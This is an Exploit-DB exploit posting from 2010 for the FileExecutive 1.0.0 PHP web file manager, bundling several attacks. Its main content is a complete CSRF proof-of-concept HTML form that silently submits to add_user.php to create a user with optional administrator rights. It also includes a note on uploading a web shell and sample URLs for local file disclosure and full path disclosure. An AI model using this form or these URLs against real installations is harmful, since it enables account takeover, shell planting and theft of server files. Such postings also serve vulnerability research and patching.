Exploit-DB #11580
Description: FileExecutive 1 - Multiple Vulnerabilities
Type: webapps
Platform: aix
Date: 2010-02-26
Author: ViRuSMaN

Exploit:
==============================================================================
        [Â»] Thx To : [ Jiko ,H.Scorpion ,Dr.Bahy ,T3rr0rist ,Golden-z3r0 ,Shr7 Team . ]
==============================================================================
        [Â»] FileExecutive Multiple Vulnerabilities
==============================================================================

    [Â»] Script:             [ FileExecutive v1.0.0 ]
    [Â»] Language:           [ PHP ]
    [Â»] Site page:          [ FileExecutive is a web-based file manager written in PHP. ]
    [Â»] Download:           [ http://sourceforge.net/projects/fileexecutive/ ]
    [Â»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [Â»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Islam-Defenders.Org ]
    [Â»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploits ]===

Add/Edit Admin CSRF:

<html>
<head>
<title>FileExecutive Remote Add Admin Exploit [By:MvM]</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form action='http://localhost/scripts/file/admin/add_user.php' method='POST' onSubmit='return chk(this)'>
<th colspan='5'>Add A user<hr></th>
<td>Username:</td>
<input type='text' name='username' value='' maxlength='32' onkeyup="showHint(this.value)">
<Br>
<td>Password:</td>
<input type='text' name='password' value=''>
<Br>
<td>Name:</td>
<input type='text' name='name' value='' maxlength='32'>
<Br>
<td>Root Directory:</td>
<input type='text' name='root' value='' maxlength='200'>
<Br>
<td>Max Upload Size:</td>
<input type='text' name='uload_maxsize' value='' size='8'>
<Br>
<select name='multiplier'>
<option value='1' selected>Bytes</option>
<option value='1024'>KB</option>
<option value='1048576'>MB</option>
</select>
<td>Group:</td><td><select name='groupid' id='groupid'><option value='0' selected>No Group</option></select></td>
<td>Use Group permissions?</td><td>Yes:<input type='radio' name='grp_perms' value='1'></td><td>No:<input type='radio' name='grp_perms' value='0' id="abc" checked></td>
<td>Is user Admin?</td><td>Yes:<input type='radio' name='admin' value='1'></td><td>No:<input type='radio' name='admin' value='0' id="abc" checked>
<td colspan='2'><fieldset><legend>Permissions</legend>
<td><input type='checkbox' name='mkfile' value='1'>Create File</td>		<td><input type='checkbox' name='mkdir' value='1'>Create Folder</td>
<td><input type='checkbox' name='uload' value='1'>Upload</td>			<td><input type='checkbox' name='rename' value='1'>Rename</td>
<td><input type='checkbox' name='delete' value='1'>Delete</td>		<td><input type='checkbox' name='edit' value='1'>Edit</td>
<td><input type='checkbox' name='dload' value='1'>Download</td>		<td><input type='checkbox' name='chmod' value='1'>Chmod</td>
<td><input type='checkbox' name='move' value='1'>Move</td>			<td> </td></tr>
<td colspan='2'><input type='submit' value='Add User' name='sub'> <input type='button' value='Cancel' onclick='top.location="index.php"'></td>
</form>
</body>
</html>

Shell Upload:

    [Â»] By Go To The End Of Page & Browse Your Shell 2 upload it   <-=- Remote File Upload Vulnerability

Local File Disclosure:

    [Â»] http://localhost/[path]/download.php?file=./LFD            <-=- Local File Disclosure Vulnerability

Full Path Disclosure:

    [Â»] http://localhost/[path]/listdir.php?dir=./FPD              <-=- Full Path Disclosure Vulnerability

Author: ViRuSMaN <-

###########################################################################